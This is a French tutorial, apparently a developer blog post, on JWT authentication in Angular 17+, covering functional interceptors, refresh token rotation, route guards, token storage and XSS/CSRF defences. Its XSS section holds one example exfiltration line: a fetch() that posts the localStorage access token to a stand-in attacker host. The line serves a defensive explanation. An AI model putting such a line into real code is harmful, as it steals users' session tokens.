JWT Angular 17+ : interceptors fonctionnels, refresh token rotation anti-race, authGuard/roleGuard, stockage securise httpOnly et parades XSS/CSRF.
Pourquoi JWT + interceptors en 2026 ?
Quasiment toute application Angular moderne en production gère ses appels API authentifiés via un JSON Web Token (JWT) attaché au header Authorization. Le pattern est devenu standard pour deux raisons : il est stateless (le serveur n'a pas besoin de stocker la session en Redis ni en base) et il fonctionne nativement avec n'importe quelle stack — Node, NestJS, .NET, Spring, Django, Go, Rust. Côté Angular, les intercepteurs HTTP sont l'outil idéal pour automatiser l'ajout du token, la gestion des 401, et le refresh transparent.
Depuis Angular 15, les intercepteurs ne sont plus des classes mais des fonctions (HttpInterceptorFn). Cette modernisation s'est accompagnée de l'API provideHttpClient(withInterceptors([...])), des guards fonctionnels (CanActivateFn, CanMatchFn), et de l'arrivée des Signals pour exposer l'état d'authentification. Le code écrit en 2026 est plus court, plus lisible, et plus tree-shakable que celui hérité d'Angular 14.
Ce que cet article couvre
- L'anatomie complète d'un JWT — header, payload, signature, claims standards.
- Un
AuthServiceAngular 17+ basé surSignalet compatible SSR. - Trois intercepteurs fonctionnels : auth, error, refresh (avec gestion anti-race condition).
- Deux guards fonctionnels —
authGuard(utilisateur connecté) etroleGuard('admin')(factory paramétrable). - Les vraies menaces (XSS, CSRF, token leak, JWT-none) et les parades concrètes.
- Comment tester les intercepteurs avec
provideHttpClientTesting().
Anatomie d'un JWT : header, payload, signature
Un JWT est une chaîne de trois parties séparées par des points : header.payload.signature. Chaque partie est encodée en Base64URL (variante de base64 sûre pour les URLs).
// Exemple complet
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQWxpY2UiLCJyb2xlcyI6WyJ1c2VyIl0sImlhdCI6MTcwODQ4MDAwMCwiZXhwIjoxNzA4NDgwOTAwfQ.
sflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
1. Header — métadonnées du token
{
"alg": "HS256", // algorithme de signature
"typ": "JWT", // type — toujours JWT
"kid": "2024-01" // (optionnel) Key ID pour la rotation des clés
}
2. Payload — les claims
{
"sub": "123456", // subject — identifiant utilisateur (RFC obligatoire)
"iat": 1708480000, // issued at — timestamp d'émission
"exp": 1708480900, // expiration — < 15 min pour l'access token
"jti": "c3d-7f9a", // JWT ID — utilisé pour la révocation côté serveur
"iss": "api.angularforall.com", // issuer
"aud": "angularforall-web", // audience (client cible)
// Custom claims — votre métier
"email": "alice@example.com",
"roles": ["user", "editor"],
"tenantId": "acme-corp"
}
3. Signature — l'intégrité
La signature garantit que le token n'a pas été modifié. Elle est calculée à partir du header et du payload encodés, plus une clé secrète (HMAC HS256) ou une paire clé privée/publique (RSA RS256, ECDSA ES256).
// Pseudo-code HS256
signature = HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
SECRET_KEY
)
HS256 vs RS256 — lequel choisir ?
| Critère | HS256 (HMAC) | RS256 (RSA) |
|---|---|---|
| Clés | Une clé secrète partagée | Clé privée + clé publique |
| Performance | Très rapide | 10x plus lent |
| Cas d'usage | Monolithe Angular + 1 backend | Microservices, OIDC, fédération |
| Compromise | Si la clé fuite, tout fuit | Le public peut vérifier sans signer |
| OIDC compliant | Non recommandé | Oui (standard) |
alg: none (signature vide) si on ne configure pas l'allowlist d'algorithmes. C'est une CVE classique exploitée régulièrement. Vérifiez côté backend que seuls HS256 ou RS256 (selon votre choix) sont acceptés, jamais none.
AuthService moderne avec Signals
Le AuthService centralise tout : login, logout, accès au token, état d'authentification, profil utilisateur. Version Angular 17+ basée sur Signal — plus simple à consommer dans les composants OnPush, naturelle pour computed(), prête pour le mode zoneless.
// auth.service.ts
import { Injectable, signal, computed, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Observable, tap } from 'rxjs';
export interface UserClaims {
sub: string;
email: string;
roles: string[];
exp: number;
}
export interface AuthResponse {
accessToken: string;
refreshToken: string;
}
@Injectable({ providedIn: 'root' })
export class AuthService {
private readonly http = inject(HttpClient);
// Stockage en mémoire (le plus sûr pour l'access token)
// Refresh token = cookie httpOnly côté serveur (voir section 8)
private readonly _token = signal<string | null>(null);
// Token exposé en lecture seule
readonly token = this._token.asReadonly();
// Claims décodées dérivées du token
readonly claims = computed<UserClaims | null>(() => {
const t = this._token();
return t ? decodeJwt<UserClaims>(t) : null;
});
// Authentifié si token présent ET non expiré
readonly isAuthenticated = computed(() => {
const c = this.claims();
return !!c && c.exp * 1000 > Date.now();
});
readonly roles = computed(() => this.claims()?.roles ?? []);
login(email: string, password: string): Observable<AuthResponse> {
return this.http.post<AuthResponse>('/api/auth/login', { email, password },
{ withCredentials: true }) // pour recevoir le cookie httpOnly refresh
.pipe(tap(r => this._token.set(r.accessToken)));
}
logout(): Observable<void> {
this._token.set(null);
return this.http.post<void>('/api/auth/logout', {}, { withCredentials: true });
}
setAccessToken(token: string): void { this._token.set(token); }
clearAccessToken(): void { this._token.set(null); }
}
// utilitaire — voir section 10
function decodeJwt<T>(token: string): T | null {
try {
const [, payload] = token.split('.');
const json = atob(payload.replace(/-/g, '+').replace(/_/g, '/'));
return JSON.parse(decodeURIComponent(escape(json))) as T;
} catch { return null; }
}
Notez quelques choix architecturaux clés : le token est exposé en readonly() pour empêcher toute mutation directe depuis l'extérieur ; isAuthenticated est un computed qui vérifie automatiquement l'expiration ; et withCredentials: true permet de transmettre le cookie httpOnly contenant le refresh token lors du login et du logout.
Interceptor fonctionnel Angular 17+
Adieu la classe @Injectable qui implémente HttpInterceptor — depuis Angular 15, un intercepteur est juste une fonction de type HttpInterceptorFn. C'est plus court, plus testable, et compatible avec inject() via l'injection context.
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
import { inject } from '@angular/core';
import { AuthService } from './auth.service';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
const auth = inject(AuthService);
// Pas de Bearer sur les endpoints publics et le refresh
if (req.url.includes('/auth/login') ||
req.url.includes('/auth/register') ||
req.url.includes('/auth/refresh')) {
return next(req);
}
const token = auth.token();
if (!token) return next(req);
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` },
});
return next(authReq);
};
Enregistrement dans app.config.ts
// app.config.ts (Angular 17+, Standalone)
import { ApplicationConfig } from '@angular/core';
import { provideHttpClient, withInterceptors } from '@angular/common/http';
import { authInterceptor } from './auth.interceptor';
import { errorInterceptor } from './error.interceptor';
import { refreshInterceptor } from './refresh.interceptor';
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withInterceptors([
authInterceptor, // 1. ajoute le Bearer
refreshInterceptor, // 2. gère le refresh sur 401
errorInterceptor, // 3. notifie / redirige en dernier
]),
),
],
};
L'ordre est important : la requête traverse les intercepteurs dans l'ordre d'inscription, la réponse dans l'ordre inverse. Le refresh intercepteur doit être placé avant l'error intercepteur, sinon les 401 sont consommés par l'error avant que le refresh n'ait sa chance.
Gérer les erreurs 401 et le logout automatique
Quand le serveur répond 401 Unauthorized, c'est que le token est absent, expiré, ou invalide. L'intercepteur d'erreur centralise la réponse : tentative de refresh (section suivante), sinon nettoyage du state et redirection vers la page de login avec un returnUrl.
// error.interceptor.ts
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { inject } from '@angular/core';
import { Router } from '@angular/router';
import { catchError, throwError } from 'rxjs';
import { AuthService } from './auth.service';
export const errorInterceptor: HttpInterceptorFn = (req, next) => {
const router = inject(Router);
const auth = inject(AuthService);
return next(req).pipe(
catchError((error: HttpErrorResponse) => {
// 401 atteint le bout de la chaîne — refresh a échoué ou pas possible
if (error.status === 401 && !req.url.includes('/auth/')) {
auth.clearAccessToken();
router.navigate(['/login'], {
queryParams: { returnUrl: router.url },
});
}
// 403 = autorisé mais pas le droit — redirection "forbidden"
if (error.status === 403) {
router.navigate(['/forbidden']);
}
// 5xx — afficher un toast d'erreur global
if (error.status >= 500) {
// inject(NotificationService).error('Erreur serveur, réessayez');
}
return throwError(() => error);
}),
);
};
Refresh token avec rotation et anti-race condition
Le refresh token est l'élément central d'une UX d'auth fluide. L'idée : un access token court (15 min) en mémoire, un refresh token long (7-30 jours) en cookie httpOnly. Quand le serveur renvoie un 401, l'intercepteur appelle /auth/refresh avec le cookie, reçoit un nouvel access token, et rejoue silencieusement la requête originale.
Le piège : la race condition
Sur une page qui charge 5 requêtes en parallèle, toutes échouent en 401 simultanément. Naïvement, on déclencherait 5 refresh — le backend en accepte un, invalide l'ancien refresh, et les 4 suivants échouent en cascade. Solution : un état partagé isRefreshing + un Subject qui émet le nouveau token, sur lequel les requêtes en échec s'abonnent.
// refresh.interceptor.ts
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { inject } from '@angular/core';
import { BehaviorSubject, catchError, filter, switchMap, take, throwError } from 'rxjs';
import { AuthService } from './auth.service';
// État partagé entre tous les appels — scope module
let isRefreshing = false;
const refreshSubject = new BehaviorSubject<string | null>(null);
export const refreshInterceptor: HttpInterceptorFn = (req, next) => {
const auth = inject(AuthService);
return next(req).pipe(
catchError((error: HttpErrorResponse) => {
// Pas un 401 — on laisse passer
if (error.status !== 401) return throwError(() => error);
// Endpoints d'auth — pas de refresh ici, l'erreur remonte
if (req.url.includes('/auth/refresh') ||
req.url.includes('/auth/login')) {
return throwError(() => error);
}
// Un refresh est déjà en cours — on attend qu'il finisse
if (isRefreshing) {
return refreshSubject.pipe(
filter(t => t !== null),
take(1),
switchMap(token => next(req.clone({
setHeaders: { Authorization: `Bearer ${token}` },
}))),
);
}
// Premier 401 — on lance LE refresh
isRefreshing = true;
refreshSubject.next(null);
return auth.refresh().pipe(
switchMap(({ accessToken }) => {
isRefreshing = false;
refreshSubject.next(accessToken);
auth.setAccessToken(accessToken);
return next(req.clone({
setHeaders: { Authorization: `Bearer ${accessToken}` },
}));
}),
catchError(refreshError => {
isRefreshing = false;
refreshSubject.next(null);
auth.clearAccessToken();
return throwError(() => refreshError);
}),
);
}),
);
};
La méthode refresh() dans AuthService
// auth.service.ts (ajout)
refresh(): Observable<{ accessToken: string }> {
// Le refresh token voyage automatiquement en cookie httpOnly
return this.http.post<{ accessToken: string }>(
'/api/auth/refresh', {}, { withCredentials: true }
);
}
Rotation du refresh token (sécurité avancée)
À chaque refresh réussi, le backend doit émettre un nouveau refresh token et invalider l'ancien. Si un attaquant intercepte un refresh token et l'utilise, le légitime utilisateur va recevoir un refresh invalide et sera forcé de se reconnecter — détection d'intrusion intégrée. Cette pratique s'appelle refresh token rotation et est recommandée par l'OAuth 2.0 BCP (RFC 6819).
AuthGuard, RoleGuard et canMatch
Les guards fonctionnels remplacent les classes depuis Angular 14. Pour les routes lazy-loaded, préférez canMatch à canActivate — il empêche le téléchargement du chunk JavaScript si l'utilisateur n'est pas autorisé, ce qui économise la bande passante et limite la surface d'attaque (pas de code admin chargé pour un utilisateur lambda).
// auth.guard.ts
import { CanActivateFn, CanMatchFn, Router } from '@angular/router';
import { inject } from '@angular/core';
import { AuthService } from './auth.service';
export const authGuard: CanActivateFn = (route, state) => {
const auth = inject(AuthService);
const router = inject(Router);
if (auth.isAuthenticated()) return true;
return router.createUrlTree(['/login'], {
queryParams: { returnUrl: state.url },
});
};
// Factory : générateur de guard paramétrable par rôle
export const roleGuard = (role: string): CanMatchFn =>
(route, segments) => {
const auth = inject(AuthService);
const router = inject(Router);
if (!auth.isAuthenticated()) {
return router.createUrlTree(['/login']);
}
if (auth.roles().includes(role)) return true;
return router.createUrlTree(['/forbidden']);
};
Application dans routes.ts
import { Routes } from '@angular/router';
import { authGuard, roleGuard } from './auth.guard';
export const routes: Routes = [
{ path: 'login', loadComponent: () => import('./pages/login.component') },
{
path: 'dashboard',
canActivate: [authGuard],
loadComponent: () => import('./pages/dashboard.component'),
},
{
path: 'admin',
canMatch: [roleGuard('admin')], // empêche même le chargement du chunk
loadChildren: () => import('./pages/admin/admin.routes'),
},
];
Stockage du token : memory, cookie httpOnly, localStorage
| Stockage | XSS | CSRF | Perdu au rechargement | Recommandé pour |
|---|---|---|---|---|
| Mémoire JS (Signal) | Bas | Aucun risque | Oui | Access token (vie courte) |
| sessionStorage | Haut | Aucun risque | Non (tant que tab ouvert) | Données non sensibles |
| localStorage | Très haut | Aucun risque | Non | Données non sensibles |
| Cookie httpOnly | Aucun | Haut (sans SameSite) | Non | Refresh token (vie longue) |
| Cookie + Secure + SameSite=Strict | Aucun | Bas | Non | Stratégie production OWASP 2024 |
Le combo OWASP 2024 recommandé
- Access token (15 min) →
Signal<string | null>en mémoire JS. Disparaît au rechargement, ce qui force un refresh — c'est voulu. - Refresh token (7-30 jours) → cookie
httpOnly + Secure + SameSite=Strict. Inaccessible au JavaScript, immunisé au XSS, protégé du CSRF par SameSite. - Login/refresh/logout → endpoint qui définit/efface le cookie côté serveur. Le frontend ne voit jamais le refresh token.
Avec cette combinaison, un XSS qui injecte du JavaScript dans votre app peut au pire voler l'access token de 15 minutes en cours. L'attaquant n'a pas le refresh token (httpOnly = inaccessible), donc dès l'expiration, son accès tombe. Sans cette stratégie, un seul XSS exporté en localStorage = compromission permanente du compte.
XSS et CSRF : les vraies menaces
XSS — Cross-Site Scripting
Du code JavaScript malveillant s'exécute dans le contexte de votre application. Une fois injecté, il peut tout lire (localStorage, sessionStorage, mémoire), exécuter des requêtes HTTP authentifiées, et exfiltrer des données. Le JWT en localStorage est game over en 5 lignes :
// Si un XSS s'exécute dans votre app, c'est ce que fait l'attaquant
fetch('https://evil.example/steal', {
method: 'POST',
body: localStorage.getItem('access_token'),
});
Parades XSS
- Angular sanitize automatiquement les bindings
[innerHTML]via DomSanitizer. Ne le contournez JAMAIS avecbypassSecurityTrustHtml()sauf si vous avez vérifié la source. - Content Security Policy (CSP) stricte :
script-src 'self'bloque tout JS inline et tout JS depuis des domaines tiers. La règle d'or est no unsafe-inline, no unsafe-eval. - Refresh token en httpOnly — comme vu en section 8. Même un XSS ne peut pas le lire.
- Échapper toute donnée utilisateur rendue en innerHTML — Angular le fait par défaut, mais le réflexe doit être documenté.
CSRF — Cross-Site Request Forgery
Un site malveillant fait exécuter à votre navigateur une requête vers votre API. Si vous êtes authentifié par cookie, ce cookie est envoyé automatiquement. L'attaquant n'a pas accès au cookie, mais il déclenche des actions en votre nom.
Parades CSRF
- SameSite=Strict ou Lax sur tous les cookies d'auth — le navigateur n'envoie plus le cookie sur des requêtes cross-site. Couvre 95 % des cas.
- Token CSRF dans un header X-CSRF-Token (le serveur l'émet, le client le renvoie) — protection en profondeur si SameSite n'est pas applicable.
- Vérifier l'Origin/Referer header côté backend sur les opérations sensibles.
- JWT en header Authorization n'est PAS sujet au CSRF (le navigateur ne l'envoie pas automatiquement cross-site). C'est l'argument principal en faveur des JWT en mémoire vs cookie.
Décoder un JWT côté Angular sans dépendance
Vous n'avez pas besoin de jwt-decode ou autre lib npm pour lire un JWT côté client. Le payload est en base64URL, accessible en 4 lignes :
// utils/jwt.ts
export function decodeJwt<T = Record<string, unknown>>(token: string): T | null {
try {
const [, payload] = token.split('.');
if (!payload) return null;
// Base64URL → Base64 standard
const b64 = payload.replace(/-/g, '+').replace(/_/g, '/');
// Décodage + gestion UTF-8
const json = decodeURIComponent(
atob(b64)
.split('')
.map(c => '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2))
.join(''),
);
return JSON.parse(json) as T;
} catch {
return null;
}
}
export function isExpired(token: string): boolean {
const payload = decodeJwt<{ exp?: number }>(token);
if (!payload?.exp) return true;
return payload.exp * 1000 < Date.now();
}
Tester un interceptor avec provideHttpClientTesting
// auth.interceptor.spec.ts
import { TestBed } from '@angular/core/testing';
import {
HttpTestingController,
provideHttpClientTesting,
} from '@angular/common/http/testing';
import { HttpClient, provideHttpClient, withInterceptors } from '@angular/common/http';
import { describe, it, expect, beforeEach } from 'vitest';
import { authInterceptor } from './auth.interceptor';
import { AuthService } from './auth.service';
import { signal } from '@angular/core';
describe('authInterceptor', () => {
let http: HttpClient;
let mock: HttpTestingController;
beforeEach(() => {
TestBed.configureTestingModule({
providers: [
provideHttpClient(withInterceptors([authInterceptor])),
provideHttpClientTesting(),
{
provide: AuthService,
useValue: { token: signal<string | null>('abc123') },
},
],
});
http = TestBed.inject(HttpClient);
mock = TestBed.inject(HttpTestingController);
});
it('ajoute le Bearer sur /api/me', () => {
http.get('/api/me').subscribe();
const req = mock.expectOne('/api/me');
expect(req.request.headers.get('Authorization')).toBe('Bearer abc123');
req.flush({});
});
it('n'ajoute pas de Bearer sur /auth/login', () => {
http.post('/api/auth/login', {}).subscribe();
const req = mock.expectOne('/api/auth/login');
expect(req.request.headers.has('Authorization')).toBe(false);
req.flush({});
});
});
Tester le refresh intercepteur demande un peu plus d'orchestration (simuler le 401, intercepter le /auth/refresh, valider le rejeu de la requête) mais reste largement dans le périmètre de HttpTestingController. Voir l'article dédié sur les tests Angular avec Vitest pour le détail.
Pièges de production et déploiement
- CORS + withCredentials — pour utiliser des cookies cross-origin, votre backend doit envoyer
Access-Control-Allow-Credentials: trueET uneAccess-Control-Allow-Originexplicite (jamais*). Sinon le navigateur jette le cookie en silence. - HTTPS partout — les cookies
Securene sont envoyés qu'en HTTPS. Même en développement, utilisezhttps://localhostvia mkcert pour reproduire les conditions de production. - Synchronisation multi-tab — si l'utilisateur se déconnecte dans un tab, les autres doivent suivre. Utilisez
BroadcastChannelou écoutez l'événementstoragede window pour propager le logout. - SSR (Angular Universal) — le code du
AuthServicene doit pas crasher côté serveur.localStoragen'existe pas. Utilisezinject(PLATFORM_ID)+isPlatformBrowser()pour les accès sensibles. - Revocation list serveur — un access token a une vie courte, mais un refresh token peut être révoqué côté serveur (table en base ou Redis indexé par
jti). Indispensable pour le logout réel et pour révoquer un device perdu. - Clock skew — les serveurs et les clients n'ont pas toujours la même heure. Tolérez +/-30s sur l'
expcôté serveur pour éviter les rejets bruyants au démarrage du token. - Mobile et PWA — sur iOS/Android en mode « ajouter à l'écran d'accueil », les cookies httpOnly fonctionnent. En WebView personnalisée, vérifiez le support. En cas de doute, fallback en localStorage + CSP très stricte.
Algorithme « none » — la CVE classique
Certaines libs JWT acceptent par défaut l'algorithme none (signature vide). Un attaquant peut alors envoyer un token forgé avec { "alg": "none" }, signature vide, et le serveur l'accepte. Configurez explicitement la liste blanche d'algorithmes accepté côté backend — HS256 ou RS256, jamais none. C'est une vérification de quelques lignes qui élimine une vulnérabilité critique.
Conclusion
Implémenter une authentification JWT propre en Angular 17+ tient en trois couches : un AuthService à base de Signal qui centralise l'état, trois intercepteurs fonctionnels qui automatisent le Bearer, le refresh et la gestion d'erreurs, et deux guards fonctionnels pour protéger les routes. Le code est plus court qu'en Angular 14, plus testable, et compatible avec le mode zoneless qui arrive en stable.
Mais le code n'est qu'une fraction du sujet. La vraie sécurité d'une auth JWT vient des règles autour : access token court en mémoire, refresh token en cookie httpOnly + Secure + SameSite=Strict, rotation automatique du refresh à chaque utilisation, revocation list côté serveur, et CSP rigide qui ferme la porte au XSS. Ces sept points couvrent l'écrasante majorité des incidents de sécurité d'auth qu'on voit en production. Investir une journée à les implémenter correctement vaut mieux qu'une réponse à incident à 3h du matin.
- Intercepteur fonctionnel (
HttpInterceptorFn) +provideHttpClient(withInterceptors([...])) - Trois intercepteurs séparés :
auth,refresh,error— chaîne dans cet ordre - Access token en mémoire (
Signal) ; refresh en cookiehttpOnly + Secure + SameSite=Strict - Access token court (15 min), refresh long (7-30 jours) avec rotation à chaque usage
- Guard fonctionnel
authGuard+roleGuard(role)factory pour les rôles - Préférer
canMatchàcanActivatepour les routes lazy-loaded sensibles - Anti-race condition au refresh :
isRefreshingflag +BehaviorSubjectpartagé - Distinguer 401 (relogin) de 403 (forbidden) — comportements opposés
- Décoder le JWT côté client uniquement pour l'UI, jamais pour décider de sécurité
- Backend : refuser
alg: none, vérifierexp, maintenir une revocation list - CSP stricte (
script-src 'self') pour fermer la porte au XSS - Tester les intercepteurs avec
provideHttpClientTesting()